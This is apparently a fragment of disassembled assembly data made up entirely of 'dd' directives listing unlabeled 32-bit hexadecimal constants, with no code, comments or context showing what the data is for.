		dd 953D885Ah, 39D66D0h,	0AB8FA288h, 0D657C990h,	76573B6Fh
		dd 6FF8FB55h, 843F41B8h, 0F94D246h, 0F6C1D852h,	0DE65015Ch
		dd 1E3C94A6h, 7D4C2D28h, 5A9802AFh, 6D372A37h, 0BF1EB9BAh
		dd 0DEBDB5F4h, 7BF86C9Ch, 0C17F81FBh, 65993779h, 0FB27542h
		dd 23A2CD03h, 2CE3ACFAh, 0B7A5AF30h, 7A9653D3h,	21535D7Ah
		dd 0BFDA8D7Ch, 70FF5698h, 0A95DBC77h, 2FAD8E7Eh, 0BB4F6555h
		dd 608B56CEh, 0CEFA3375h, 65015C7Dh, 0B201099Ch, 7C1FE3EBh
		dd 0F1D8AE5Bh, 0A7D313C0h, 4093E391h, 29810956h, 0DC09C8F2h
		dd 7DD8A6B7h, 0BE0F4DE5h, 0FB405CD3h, 4CC297Bh,	0A3ADED6Ah
		dd 0BE806C95h, 0FF60E6D1h, 0EBB144C0h, 0C914917Dh, 1A47C694h
		dd 1B6C2712h, 0B7CEAB4Fh, 4BE51A48h, 137DBD0Ah,	0FECAD30h
		dd 0A36355BCh, 3156FC38h, 0A0BFD267h, 15E72A23h, 24911D70h
		dd 9BEAEA14h, 0EFCE13DCh, 0F430B3C6h, 5EA9EDD7h, 0E73AEABh
		dd 0DDE69C3Fh, 0A8DAE045h, 0BCAF6D52h, 7567367Fh, 0C1B4F9FBh
		dd 2675E40Fh, 0B27AC27Ah, 4F7DEC47h, 82CDBD69h,	0FD954B43h
		dd 2462CCCEh, 0C32B5646h, 0BC7CC2A8h, 0CB2B38A8h, 6D19BF23h
		dd 106E3D32h, 0EB126250h, 18AC05A2h, 37B43D74h,	37A1AED7h
		dd 0FA3B5709h, 0BF486FB1h, 356D7487h, 0D6DBDB2Bh, 0FC4C5976h
		dd 9AA92310h, 0D11B957h, 0DE33D132h, 406BBFAAh,	0E20D6EFh
		dd 1EE30C0Ch, 0DAD98AB0h, 0EA456222h, 289DDE26h, 0AF9CC602h
		dd 1BF1CFEFh, 0F8D7DDD3h, 77CF46CBh, 0C0C35C8Ch, 559330Fh
		dd 957C17A8h, 4827D980h, 0EDB8633Eh, 0F0D74912h, 0F5A24535h
		dd 0E34FF66Bh, 14DAE989h, 399555B7h, 1DCED873h,	95EDB263h
		dd 38AAB1ABh, 6F14A9D3h, 0E0B6EA72h, 37E56BC3h,	0A4F6DA34h
		dd 0B3BDDE23h, 6C4BB2ABh, 0C87EC9DFh, 986FB055h, 0CB2B126Fh
		dd 71B0D318h, 0A0A15AD3h, 9755DFAh, 36F294Eh, 0C9886A8Bh
		dd 5F02EDA8h, 34495C0Eh, 0E29FFC1Eh, 97FB9A64h,	4237DCCEh
		dd 28EA1FE4h, 559D0BBAh, 0D1CBBDA2h, 89FFCC2Fh,	372A0BB9h
		dd 83E24AABh, 74F6EE7Bh, 28B05887h, 100B2DD2h, 0D7FBDAD5h
		dd 4A7373CBh, 9E55C58Bh, 0E9B65702h, 837CC786h,	70EAB500h
		dd 0D8EFB6C3h, 665F2132h, 608563A9h, 0BB50B9D8h, 8FEC0E56h
		dd 98083C0Dh, 7401E9E6h, 7308A38Bh, 8A2B180Ah, 881F3DD0h
		dd 55D2A411h, 453E8C04h, 4265049Ch, 9871A025h, 0F301C770h
		dd 1318F118h, 0D0263DCEh, 0D0142329h, 0C18023Bh, 30115FACh
		dd 7CA25E84h, 102AE80Ah, 528043E6h, 280A3013h, 0B11F9FDCh
		dd 4F046481h, 4813461h,	28C00583h, 6A38E8Fh, 231ADE61h
		dd 80A80134h, 85354F19h, 940D156h, 2380302h, 3E5002B3h
		dd 37438B1Eh, 0F0BFE0AAh, 5464D451h, 40A0CC84h,	0F71A66EAh
		dd 8D9C8C04h, 28A700EEh, 3E25D18h, 0D21C094Eh, 71A8C705h
		dd 253C04Fh, 0F4F40BE9h, 8D34218Ch, 71E86106h, 46E27518h
		dd 38D1D24Dh, 30A16A8Ch, 0D3E831Ah, 0A85550CBh,	58E86206h
		dd 0D4D13798h, 1BCCF030h, 3A2F303Eh, 466BFF79h,	29C5F9F9h
		dd 8AC2CF0Eh, 681D461Fh, 0DD5BF51Eh, 0E93EF035h, 3277B03Dh
		dd 62CB53B5h, 44B09FD7h, 87C6C1E1h, 85C53F2Bh, 27AA0FCBh
		dd 0D0595EF8h, 898C7BF9h, 0DF4F4123h, 0FBF4D0EAh, 0B94465FDh
		dd 0C1AAE1F8h, 545C155Dh, 78F368DFh, 145C5032h,	77F94EB5h
		dd 0AE628266h, 0A7EF59A3h, 5462AE65h, 2DCFC6F8h, 0A6BFF3B0h
		dd 2FB0D281h, 79ACB8A8h, 7C85A92Ch, 5BB01CF5h, 4EBBCA92h
		dd 4F32A900h, 0BFAEF997h, 0AE80BDCCh, 0F70FB402h, 97FEB4FFh
		dd 5F6DC272h, 0E9DF81Fh, 0DFA4B665h, 5701FA08h,	0ED5ADEF7h
		dd 0AACF719Bh, 0BF80D134h, 0E021ED32h, 96E01ACDh, 4825DD6Ch
		dd 0EE6A781Ch, 0EEC2EF76h, 0D0D99BD4h, 2F1BC4FCh, 0F95E786Bh
		dd 97ECB2A5h, 3EAD3B7Ch, 0AC05F85h, 4F4275E1h, 4F1ED697h
		dd 269052F1h, 3E85EFF4h, 0F8E9EBA5h, 6D7C63E1h,	0BD43ACE8h
		dd 0DF6273EAh, 0AD45B25Fh, 0CDC7A2F4h, 0FB3EF8F7h, 3174E6CCh
		dd 56DCDBADh, 8B1406B0h, 0BA752D36h, 0E0DD4B3Fh, 183368B5h
		dd 2042E5BDh, 1DC7DB9Fh, 987B7228h, 9160D9C9h, 0E6D160Eh
		dd 6CE47D9Ah, 56C92D37h, 0BD8B52DBh, 2F64F9B2h,	96E3646h
		dd 0CFB59B17h, 0C91D63ADh, 0BB66D11Dh, 0E3FFFFDFh, 66BFAF95h
		dd 533F3492h, 0B5E32744h, 0FECDB469h, 3E1830F6h, 406F54B8h
		dd 0F19A6BEAh, 565E7F55h, 0B0309035h, 86F321FFh, 0DF7F47C0h
		dd 62675AC1h, 0F8DF8B92h, 9650051Dh, 6B6C18A4h,	83F1E965h
		dd 0B52DC21Fh, 8854D09Fh, 0BBBC5785h, 4AE406ADh, 72C064E2h
		dd 3D3D323Fh, 7326F27Eh, 2BEDD44Ch, 3F09382Eh, 0B2B511A2h
		dd 0EAD69F21h, 1B317FA8h, 0C57B61FDh, 89C629E4h, 0FDE02F5Dh
		dd 0B8AEF964h, 6BE07B9Ch, 0E8EBF892h, 0B88C4216h, 9C668672h
		dd 116E4ACDh, 57B6223Bh, 88687DF1h, 4252F3BEh, 0E44B0A7Fh
		dd 6E215A31h, 1068F9Ch,	3251A3CFh, 0D6C52540h, 6529F939h
		dd 70E69248h, 0C3FCD2F5h, 7126F899h, 357B9AA9h,	0F0106710h
		dd 0E9B69571h, 5E8FED4Ah, 0E29AD78h, 5E5504F7h,	5A66A39Eh
		dd 8ECD48A2h, 9F55CEC8h, 0D2D1F9D9h, 94555457h,	3CA554FCh
		dd 0D1C73549h, 0E68236DCh, 0E550D5DBh, 3621158h, 784DEF61h
		dd 50FA9CF4h, 0BE85FA30h, 25C4E631h, 0FE553BAFh, 12AC3BF0h
		dd 0AD69CEA7h, 6FDF4B97h, 0F2EEFDFFh, 83875006h, 2F1A6353h
		dd 0F83E015Bh, 754A1F86h, 0C8AFDBA1h, 0CBBB65B0h, 0ADD78946h
		dd 4522D594h, 94E15986h, 735C2EE3h, 0CAB86378h,	0AF94D2F2h
		dd 217F472Fh, 0EB9ACA09h, 0C6CDCAC4h, 0DFCDE193h, 5CC0F8E2h
		dd 2F90F70Dh, 0B2BD989Ah, 61A6B806h, 0B42916h, 0F0F4C2C5h
		dd 718095B9h, 53A652B6h, 1DA041EFh, 5E557FB0h, 36ABCDD4h
		dd 1CFDE8F2h, 0FA2BC423h, 0F8E1A227h, 5F7E2CE0h, 0C0FE558Ch
		dd 0B9BE37EAh, 70FC33BBh, 0E63B941Eh, 34FA0689h, 717668AFh
		dd 14886057h, 0CD46F05Dh, 8F2FD6CAh, 0F61BD129h, 6692B25Eh
		dd 0E2B95F72h, 915CBDAEh, 825EE388h, 50D808E2h,	0EAFE316Bh
		dd 0A4FA71E0h, 0F9A14A54h, 0A3E67716h, 0CBFD2F55h, 0B614BF98h
		dd 34399F90h, 7B44C2DDh, 0EEC44819h, 0E07F8AAAh, 72AB74DEh
		dd 5CF5D3Bh, 92C7D02Bh
		dd 0C5D639EFh, 3346B19Bh, 5D53A05h, 0E1E1E11Fh,	0EF809B1Dh
		dd 2775DF6Ch, 0F1C2CBD9h, 9C66E6A5h, 967F52B6h,	0B70FEF95h
		dd 190F34BBh, 7EDB6401h, 6DD58C0Fh, 12EC0DCFh, 229AD164h
		dd 5A0B5C9Ah, 0D8A97C9Ah, 9F5A600Ah, 0D8256812h, 472F303Eh
		dd 7DA87F89h, 39C2F0BFh, 4FEA76Ah, 0DED790CDh, 0CD73883Bh
		dd 0D83E56B1h, 4B8C35ACh, 4505CD7Bh, 5DA5BF1Bh,	4BE3D98Ch
		dd 0EC608415h, 5FF3505Bh, 6AF809CEh, 0F7357178h, 82CF1FECh
		dd 0B88BFAF2h, 8C1CD248h, 23D4A1F2h, 68E4717Dh,	67978BA1h
		dd 0AA5DCDB7h, 0AB90B726h, 1E5D9383h, 7C0EBA80h, 0C405AA33h
		dd 607909E5h, 8732A2BDh, 0C363F2AFh, 0F11112CDh, 0F46DDCA3h
		dd 35258942h, 74C59E4Fh, 4D9C1AABh, 9F6FCA55h, 0C3ABF9C3h
		dd 4973B199h, 14CB915Ah, 0F129AD1Ah, 0F3185DD2h, 687E2FF2h
		dd 0E0B6BBFAh, 0B03E2251h, 8034A346h, 0B7A2ADE4h, 40C201C3h
		dd 0F6FE82D3h, 0D33D81C1h, 5D9410B6h, 505B7CE7h, 0F2F62996h
		dd 41AA9E38h, 9277748Dh, 0A77D6A3Dh, 0B9C05AA2h, 7AAF286Eh
		dd 0D1AFCDE7h, 0AB956893h, 0AB571E25h, 0AA806A86h, 1BE04F5Ah
		dd 7D9A9525h, 278B8F9Bh, 0A9B31446h, 5E830992h,	0A5DE74B1h
		dd 52E07FEEh, 0D1F057D2h, 3A9503CDh, 2DC8475Bh,	0ACBFA5DDh
		dd 1E550636h, 7AB10793h, 0AB9C62FDh, 8B8653F3h,	97BD825Dh
		dd 0F03BC782h, 56609AFBh, 55A667EEh, 2AED2D8Ah,	9F3B6DBEh
		dd 63E5833Fh, 6A769DDDh, 68BE7B12h, 12C5D6A7h, 4555ED3Ch
		dd 0FF8C7AAAh, 0DC1AEB78h, 73B944F7h, 8263A270h, 0E2F58CB2h
		dd 386AE3D3h, 2F4F7012h, 947FEA08h, 82E45F73h, 36F484A5h
		dd 4FFD1C30h, 0B64026C5h, 0ECD890D0h, 0E4EDD6CDh, 1B6FA748h
		dd 1EA71D28h, 7D382AF7h, 0D5AAD060h, 90EC7E0Bh,	0AAF25F47h
		dd 0FCE3A108h, 0B449ACFEh, 62E627B1h, 8A2BF826h, 0E7270BC4h
		dd 66AD42CCh, 0F1FE6AF2h, 0BB0858D7h, 0AF7B4ACEh, 13D990FFh
		dd 0FFCA19D6h, 9346AEE8h, 9E69A234h, 0FDACC986h, 0E8665732h
		dd 5E52D6BAh, 4AACEFF6h, 46EAEB12h, 0FBF40FD0h,	0FDEA7688h
		dd 8F81A1BEh, 398DFF47h, 0F91EF3F6h, 4BA6032Eh,	0CA692FCAh
		dd 599F3BF7h, 0E3D67279h, 3F371EBEh, 735D436h, 5D3D2596h
		dd 0AF3B414Bh, 4992CB80h, 5195DEEBh, 6EA3D39Bh,	0F26544E5h
		dd 8D0DDCC0h, 53B93F8Eh, 8185A1A7h, 0CDB67381h,	0F4427AE9h
		dd 777B212Dh, 20997156h, 0F594B57h, 0B335DB44h,	65776BE8h
		dd 3F713F14h, 54D63D95h, 0BAB08EB1h, 307AA65Dh,	3CAEE66Ch
		dd 0ABA53D9Ch, 21F9B212h, 52439681h, 0F6667761h, 695528CBh
		dd 14D2F9F1h, 0B4674FAEh, 0CA23BE8Ch, 2D4D1149h, 5D0F7FA0h
		dd 0FC9E353Eh, 50946511h, 267AA348h, 799699D9h,	697FAFC7h
		dd 7DE18AF6h, 346E672Ah, 1F7BEC8Dh, 0AEFCB393h,	0B9FB8502h
		dd 5FA14630h, 0EF275236h, 7F9768B0h, 0BD48D695h, 72FCCDE8h
		dd 0A6ABEB51h, 7B648D84h, 42263C5Fh, 5A93148Bh,	2AA64E9Ch
		dd 0B59C97A9h, 0BD50633Ah, 0BFB0F1Ah, 0FD0EBBEEh, 0C11A773h
		dd 9F58380Ch, 5D2EB6F5h, 18AAD6D6h, 3ED7360Bh, 0E7E0BB8Dh
		dd 0B2DD4FC2h, 8A29BCE3h, 5E75D042h, 8AA2B4A7h,	6255D022h
		dd 5920A18Ch, 0C519DEBDh, 0F0484DE3h, 29EAE57h,	0F533D389h
		dd 756CE9D4h, 3F2EA600h, 34723363h, 6556F005h, 8EEE2DBFh
		dd 0CAC34F93h, 0ED7333A8h, 58E78F78h, 0E3C0D75Eh, 0B39CFBA7h
		dd 0C6DDFEA6h, 25F03489h, 0E4C22D2Bh, 0BB72BB6h, 6A4669A7h
		dd 78FFB2Ah, 0F3E1EBF7h, 0F5D41AC0h, 8C7A5ECCh,	0B455B9AEh
		dd 0E4A48908h, 0C36C55FEh, 0A7CE2781h, 7A1A3A50h, 446F0648h
		dd 6F488354h, 0CD181AADh, 716813BBh, 2A479522h,	50383FCh
		dd 0CA4F9F8Ch, 9DC73056h, 0C64ACD8Ch, 0DA3EEBEFh, 0E1CB0820h
		dd 0F36B4607h, 0A522C97Bh, 44251BEDh, 34EAF08h,	0A4E6DBEAh
		dd 4270758h, 5FD99955h,	73842BDAh, 22199FC0h, 0FDCC26D8h
		dd 0BD43D846h, 87DB55CDh, 0DCE8F58Bh, 91FEE702h, 1AA74623h
		dd 0B5DCF3D3h, 14EF82D1h, 3C577032h, 0E6C39ADCh, 3E6DF3C5h
		dd 7543FAFCh, 0B7B05FF3h, 0E15CD75Ch, 1F3CFC6Fh, 0BB07419Ch
		dd 57771079h, 19C7F19Eh, 5B781E29h, 47079EE5h, 2AE0B38Dh
		dd 9AE4C4AAh, 178A0492h, 0E393C605h, 90E606BFh,	0C9AD4140h
		dd 6F88DDAFh, 0A3F5D1A5h, 0D0813328h, 4094A253h, 2BC39C4h
		dd 5A1972DCh, 8B4EBE02h, 7AEF33A9h, 95C22DA3h, 0E5288948h
		dd 0F08D552Bh, 0DAD0430h, 0B8C4FF09h, 0B317D341h, 74A98BBDh
		dd 65D70FC1h, 7D90286Fh, 6CA15DE7h, 0E7744682h,	0FB6AE658h
		dd 873680Eh, 4FA67A6Dh,	9ED68696h, 0E5F807C5h, 2F477CB2h
		dd 0B2F65509h, 0BCAEDCEEh, 0E0F025E4h, 738D92C6h, 99A1E2C0h
		dd 1A74902Eh, 268DFECh,	4BBC232Fh, 0F27CEB38h, 89BB81EDh
		dd 0F5BF7E16h, 145121F2h, 49D9094Fh, 733C13FDh,	425FE07Ch
		dd 0CDCD14C6h, 0E1C4D7FCh, 7E628C97h, 0B09ABD6h, 49C7FED8h
		dd 8193175h, 708B18E0h,	56DC2CEBh, 0C5B9ED8Ah, 466A38Dh
		dd 0FC47C8D6h, 5559668Ch, 76CD0C4Dh, 0E51ED304h, 9AB97C7Dh
		dd 0BADD7E1Bh, 768288C5h, 45FCF3D1h, 7B22D63Ah,	0CBDD06FBh
		dd 0BFBE6A0Ah, 0F6C9B817h, 3698B120h, 2CF2F53Dh, 157A2526h
		dd 8BA4D38h, 0FAD6B5F2h, 70698452h, 95F5545Fh, 0CE5E7F3Eh
		dd 0F72E0EC1h, 76F17B75h, 1773EADEh, 318A281Ch,	6E0A22A3h
		dd 0C1BB1489h, 0BBD577B7h, 535587C4h, 77EAEC2Dh, 0CDC50D34h
		dd 0D7D6AF19h, 814589D8h, 2C398BFCh, 2570C265h,	21DF91F9h
		dd 0C0CB87E0h, 0BEC0957Ah, 79C8A606h, 0CD529F67h, 0FE95F3Ah
		dd 0CE72B443h, 4D4466AEh, 349B3A7Bh, 0EE696B51h, 0A27BD1A1h
		dd 7E176B8Dh, 77823F87h, 0AD2F4A81h, 1A8DF37Ch,	7A5639DBh
		dd 2C891C17h, 0A9C14B36h, 59004929h, 0A5AD59E9h, 0B26D2E8h
		dd 0FA96164Eh, 416D8C1Ah, 361104CCh, 1F0F13ECh,	13F95E0Fh
		dd 0AAAE9D96h, 6CEA6851h, 2ED66522h, 0E9562CE5h, 74E5C513h
		dd 0E9835BD5h, 0E0E39990h, 0CEF3EE52h, 59039CECh, 0CC7F26D7h
		dd 0A39E6B7h, 0F907651Ch, 8869CB6Bh, 5E2437EDh,	2FCEF4E0h
		dd 7045F7F0h, 5E39F497h, 57418ED7h, 0A3E3C6ACh,	114C2A2Fh
		dd 0F370AA55h, 0DFEBA580h, 40605C19h, 0D5467531h, 0C0F5CA51h
		dd 7A82D907h, 0BFB1FB1Ah, 5A1EBDB7h, 7355439Ch,	5D99CABBh
		dd 0ADF2F337h, 8C0B4E71h, 0E07D5BBDh, 24AB71A6h, 45BDAAD6h
		dd 212A666Bh, 83EFF491h, 0F1955F0Bh, 0B2F78AB9h, 2BAC87E6h
		dd 1ABAA4BFh, 74DFA44Dh, 0AC456E05h, 870875A7h,	8A811387h
		dd 59BCCF6h, 65EAB453h,	0D3A98469h, 176E889Dh, 8C60AEECh
		dd 8468961Bh, 0EBC33770h, 5EE9E8D7h, 0DCD3AEC7h, 0FA3A725Bh
		dd 57975A52h, 24E3EF8Ch, 94C6D6F8h, 0C255F8A9h,	3F0DDDD4h
		dd 0B0D75E7Ch, 7876E51h, 6827E996h, 3190EBE6h, 0F02099D0h
		dd 210E1EC1h, 5D7C4D91h, 9D1373CBh, 761D55E2h, 0EAE69888h
		dd 0A52EC898h, 0F69D265h, 4FE2CA05h, 0CE5F1A3h,	168FD0FCh
		dd 914156A3h, 280A5DF6h, 8E077D36h, 0D3F0B72Ah,	77EAE74Ch
		dd 0A55736B8h, 1696C58Dh, 0D7FB95FAh, 0AA50D868h, 1955F48Ah
		dd 0DDEC1199h, 0C2E388AEh, 8A2D43Eh, 3FDF7F8Fh,	8CF75A59h
		dd 2BA88171h, 425C2EABh, 0DD5D6870h, 3F073B36h,	0D7EB3454h
		dd 0AAE29B28h, 0B6829108h, 0A694FDCBh, 0FD6AE560h, 9B57511Dh
		dd 55CBDB4Ah, 0E19DD235h, 5386AAE3h, 0F682CB15h, 0B832D257h
		dd 10FC9BAFh, 3B9CBAEh
		dd 4D567BCAh, 58CAF691h, 0ADCA569Ch, 8F89A9EAh,	0C4DD672Bh
		dd 0F7B911A6h, 0FB545506h, 0CB31A369h, 0AD1A19Dh, 0F7D25A84h
		dd 3750BE2Dh, 38582DF9h, 0FF798D54h, 8D3C2DD4h,	7B0442FCh
		dd 73FBE6E5h, 0CF5F8937h, 0F3E1E371h, 9A4440B3h, 0E2B9CF52h
		dd 0DB8271EFh, 0C0C32B5Fh, 0DA2E61E1h, 9E4F5DFDh, 3C12FB8h
		dd 7D8D57E3h, 0F664FEE7h, 3AEF280Eh, 0BDCE9F1Bh, 5D467BA9h
		dd 0AC7C6BC9h, 4665316Ah, 247F3289h, 6DBD8FB4h,	0CDBBE7DAh
		dd 71F9981Fh, 0FC1E85F8h, 0D6D47AA0h, 688E6C51h, 734C1A94h
		dd 81390D61h, 0B7953D0Ch, 1318F3CDh, 5E6CD61Bh,	0EE1AA64Dh
		dd 82965966h, 0ACA97AC6h, 0A83A2CFAh, 0B44BE4Ah, 38FB6258h
		dd 0D833F30Bh, 60F8BEFCh, 0FCBDFD8Bh, 56A57AB6h, 8AFEF040h
		dd 0A73ABAA8h, 9305C990h, 1C6AF187h, 99AA3AB2h,	0E570A151h
		dd 40E9E6A8h, 9A2625BFh, 4C8ED043h, 2C4C406Ah, 0C9C6639Dh
		dd 0FACEA540h, 2F07BAC8h, 55B04ECh, 0A391CB1Dh,	166DCBC0h
		dd 6B2AF175h, 1EDA8757h, 186F64A6h, 0D1F272BAh,	7AED5E07h
		dd 32D8CAEEh, 0A6051333h, 9AEE6D19h, 0C86262CFh, 2306A8C1h
		dd 0DFAE33AAh, 29B3FCE5h, 0DEA7231Ah, 75205E5Bh, 47D920FFh
		dd 0E1D0CDDFh, 0BDF17E7Ah, 21CF9842h, 5182EE96h, 1F9AF522h
		dd 78E49C0Bh, 2D420F8Bh, 7483D3C9h, 0DF7FA6BEh,	770F523Bh
		dd 0DB5EEA86h, 0BAED0B1Eh, 128D95Fh, 0C9C0B937h, 6695B0ACh
		dd 0BE17B1BAh, 0BAEC1E4Bh, 0F70B0E18h, 926779CEh, 0A6F1C1A8h
		dd 4043616Eh, 0D5751B58h, 0E2828637h, 0FED70814h, 4C94D632h
		dd 251FCCB6h, 0BC09F545h, 0EC547E8Ah, 6F162278h, 88430CBDh
		dd 4D3D0C53h, 0B2787545h, 0D16E97A5h, 4288F918h, 4F9D80B5h
		dd 0CA38AC1Ah, 290DC2C3h, 7141BB12h, 0E443FB27h, 0E0159036h
		dd 1525B574h, 541A9678h, 7601A9CFh, 0F5929777h,	0CC86E1A8h
		dd 62BCD0EAh, 0AAF9FF52h, 0B33C3777h, 0E9D91A80h, 0DC19B78h
		dd 0F934D7ADh, 1F44E1B7h, 882D5058h, 88E76497h,	0A60808AAh
		dd 17CAE304h, 0EEBF54CAh, 844A6F32h, 2FC75ACFh,	6F70277Eh
		dd 0FDB4D367h, 75CBB2FEh, 5D9196E4h, 497915B7h,	9AADA5CEh
		dd 0F9BA529h, 0ABF5F9BCh, 55505FDBh, 6C65E173h,	6DE6CA9Ch
		dd 0DC4247D3h, 30A9D87Fh, 0B5073A50h, 0DB87EEABh, 38B5BEFh
		dd 0B65DDEF2h, 0B01A01C4h, 0C8BA3F90h, 0B4D7FEABh, 7DF7BAC9h
		dd 1303DFE1h, 637D9B57h, 558BE3F6h, 924C112Fh, 9CF2DB74h
		dd 0DA26DD67h, 0E8D20131h, 7508DAA3h, 2BD92E87h, 0B41E2AC5h
		dd 508F9D69h, 0E557B4A5h, 0AAE753F0h, 0FA306C04h, 4D6D30E0h
		dd 28EF11EEh, 89F744Dh,	0D73CB07Ah, 0F3537435h,	0F19D8CCDh
		dd 3BCF5355h, 391D80C3h, 4FAC3F1h, 3E7532C3h, 9AA60B8h
		dd 0BE39E3FDh, 0BA0D2BB8h, 0E0E3922h, 0D417197Fh, 61F1DD25h
		dd 44DCE0ECh, 0EF4EFB00h, 49AC37EEh, 0DA3D197h,	7150938Eh
		dd 8353A73Ah, 4E5C956Dh, 0AB7A0828h, 586AE41Bh,	0DA75B158h
		dd 4263AC0h, 0CB73E25Eh, 0EB1D1FF4h, 8D5D509h, 7FC47705h
		dd 0E3E5526Fh, 0DA2C41D0h, 8F04FA47h, 0E0C59E2Fh, 2247E429h
		dd 9AE4496Dh, 0FD49A06Ah, 0BA827DE4h, 0F598D32h, 27CEA833h
		dd 19CF94CBh, 0A1A6AC73h, 5C44C332h, 0CE1F1F8Ch, 6148124Fh
		dd 2C96E6EFh, 7D73BEECh, 0AEE1C89Fh, 0C0D95AD2h, 0A1B1025Ch
		dd 66A41F9Dh, 0F0E1663Ah, 6B86C6EAh, 0AE619295h, 3B4E6C67h
		dd 0CD2DA9F5h, 0BA9BDD8h, 0DB853371h, 8DB53072h, 72BBB716h
		dd 5B19D0B0h, 2E6F7F38h, 674F0303h, 0E5131021h,	0EE6B1C29h
		dd 6B258FAEh, 36B13C96h, 3A05C723h, 8EDE91CCh, 322A1625h
		dd 0C4AF83ECh, 0B6F4A526h, 6613E8DAh, 46C1B704h, 63757BF7h
		dd 243961CEh, 294CEE96h, 0EC38319Fh, 3D97B86Ch,	0BB9D3CA5h
		dd 78E3A346h, 2F5074FFh, 45544BFAh, 56F8D129h, 99DD0668h
		dd 0F5F7E2Fh, 0BC420F4Ch, 2BA6D533h, 0C60E3EFCh, 42A64EB7h
		dd 0AACB6D2Dh, 0B35BFB30h, 0B471B8DBh, 0D20C80A5h, 0DB155C45h
		dd 0F3AA8348h, 64A4FDC0h, 5F44FF8Bh, 0BF1BFDBh,	0FED5CAC2h
		dd 0EB34B432h, 0E8F2733Ah, 0B11579DDh, 9B6D2EE3h, 27B958CEh
		dd 0D5EB7B05h, 9F83154Dh, 0A5FDBACBh, 597FD358h, 0D20A1CBEh
		dd 0E0BFCAEEh, 0AE755368h, 8DD1E71Dh, 57F1B1AFh, 8D6A6D19h
		dd 976412DCh, 0DF41A592h, 2727B87Bh, 39659A85h,	0AC1E4CF1h
		dd 9D77B9CAh, 0C20F4E7Fh, 0AED16B15h, 8D3B0A98h, 0CDC51F6Dh
		dd 5D95DA85h, 7D29DE67h, 534FF06Dh, 1F87CAADh, 73F1BF46h
		dd 5E588D12h, 0C7DF4757h, 0AA5BDDCEh, 6B4A8F9Fh, 10FAAF21h
		dd 7C74A17Ah, 6DA05997h, 4CFBB7FAh, 0C65507D9h,	0D44A77B1h
		dd 9259D52Fh, 95AF0AEBh, 0C5D555B1h, 0C9FAC768h, 7CD75507h
		dd 0E3F487B2h, 0F17C553Ah, 5B9ABB9Bh, 517AB4DEh, 0AA87ADF8h
		dd 7556C0CAh, 0A48B302Bh, 8E2E85A2h, 0E34F6F28h, 4BF282B3h
		dd 0BD65CB4Fh, 0A541A4F1h, 0E0C78560h, 2B36E0F1h, 5FDFFCF6h
		dd 1C87ABD6h, 0E3FB2D8Dh, 28D017E3h, 0B68EDBFAh, 51BCC13Ah
		dd 7D71BD86h, 8363ADE0h, 0AE46B94Fh, 25DA238Eh,	25EB93E7h
		dd 0EAAF75BDh, 407F5A7Eh, 30989908h, 4B9B8DF6h,	44933E4Bh
		dd 0E1615AC9h, 0A5EDEED7h, 0EED9186Eh, 0ECD9AAC4h, 73DEB81Bh
		dd 0C205A8F0h, 88BEADB7h, 8381D51Eh, 268ED609h,	0D63BBAADh
		dd 0EF56FCBAh, 0C6FEB714h, 7680AF68h, 0DF5BF93Ch, 80BB25DCh
		dd 378137D4h, 2DB89362h, 0F4CFF8C2h, 0F5473530h, 0EC5C22FAh
		dd 0A55F3030h, 91C856D1h, 0F6EBF09Ah, 3F09CA86h, 5DD965B0h
		dd 29F486B2h, 0C2962FC8h, 4AFAC6F5h, 6D0B69C2h,	469C5405h
		dd 0F7161D2Dh, 27040A71h, 8DBA4F14h, 0FDC197Fh,	7798DD43h
		dd 0C1E70347h, 10CC69B4h, 0A0BE692Ah, 0EE6C9DE6h, 9074006Dh
		dd 0D5BA603Eh, 927DCB36h, 2BB6CD6Ah, 570F81Ch, 99EC2570h
		dd 7E0C78CBh, 0B645C2DFh, 3762EA6Eh, 2B46D74Fh,	0A1F53015h
		dd 0F649ECDBh, 8C5A3476h, 5259199Fh, 0E6968CD2h, 0F8161B1h
		dd 1165FC26h, 0F6890467h, 0CCD98E66h, 0A8997B30h, 3A752146h
		dd 915034A2h, 79FB0105h, 0AA707260h, 210D8D34h,	4527D612h
		dd 879DE0DCh, 0C8ABC120h, 0A5B6A76Dh, 9B42BC4Ah, 4C92554Fh
		dd 0BEC29578h, 0FBC3DA8Ah, 9BB15330h, 3035475h,	0D9772A85h
		dd 0E51DC2CAh, 0F7289686h, 4BBFAA7Eh, 0E14B5FF5h, 0B39445E5h
		dd 54085FFCh, 83E8D8AAh, 72B99FE3h, 6A5A018Eh, 0B87E6738h
		dd 1B07E257h, 84CF03B5h, 6252C7DDh, 74E505EDh, 0ED91FAF0h
		dd 28BC45A7h, 6F93383Ch, 0CD513F05h, 32960DFCh,	4F4BD54Ah
		dd 0FA9D8F6Ch, 0D896FE0h, 0D04DE575h, 856A3374h, 0CD2DF9F8h
		dd 83AE195Bh, 0E9D0184Ah, 1F6D9CBAh, 345D577h, 77530046h
		dd 3D3FEC16h, 0AFB087Ah, 0CEB9B966h, 0F8B6F85Fh, 352A2377h
		dd 0CBC47BBFh, 8F8CB3D0h, 0D3ADFF3h, 9E1E1F1h, 20475D1Bh
		dd 65275F7Ah, 62DAA40Ah, 0D7816B95h, 3B4A2E86h,	4BBFB779h
		dd 31976D02h, 26658469h, 2C3DAFCBh, 2298FCF1h, 2B8612D6h
		dd 0A7096AE6h, 8754AEA6h, 8B1D6B70h, 0D0C22E16h, 0C9E33ACEh
		dd 0D745D9D6h, 2185DCDEh, 0F27F4DCDh, 1BE2EF89h, 0BF641AF8h
		dd 0E159C234h, 6D1FC826h, 4BC44D54h, 0CB65DB4h,	0EA46BF6Ah
		dd 0ECE756E6h, 718D695Ch, 0F6568E1Dh, 83DC578Ch, 0B664FA58h
		dd 78DA1EF4h, 0A0D1FAB5h, 0DEE2CA5Bh, 2FB8DC2h,	5C5C18DCh
		dd 82574894h, 0E6C69590h, 0E8B08B68h, 0ACFF368Ah, 95660A76h
		dd 7FA36A1Bh, 70BE6F58h
		dd 0F348B0E5h, 738B32BFh, 46E98A35h, 0DC617057h, 7B27F8E5h
		dd 9CD0B3A6h, 4ED1B978h, 0F60DFE45h, 3D1BB2F9h,	0CE3F6E8h
		dd 0AF657B22h, 329C68CAh, 0F5E8424Bh, 0AC645D68h, 9ECA8F59h
		dd 68845FEEh, 2123FCCDh, 5C255540h, 3669F435h, 2C0F4BEDh
		dd 0C6A6B33Eh, 7F582E3Bh, 0D7042A4h, 6F607E2Eh,	9698117Bh
		dd 0D1B25D26h, 0D31126B9h, 0C9004501h, 68A454AFh, 58A09212h
		dd 923E6A69h, 2DC8062Eh, 0BECE2099h, 95FC53D2h,	0D23B711h
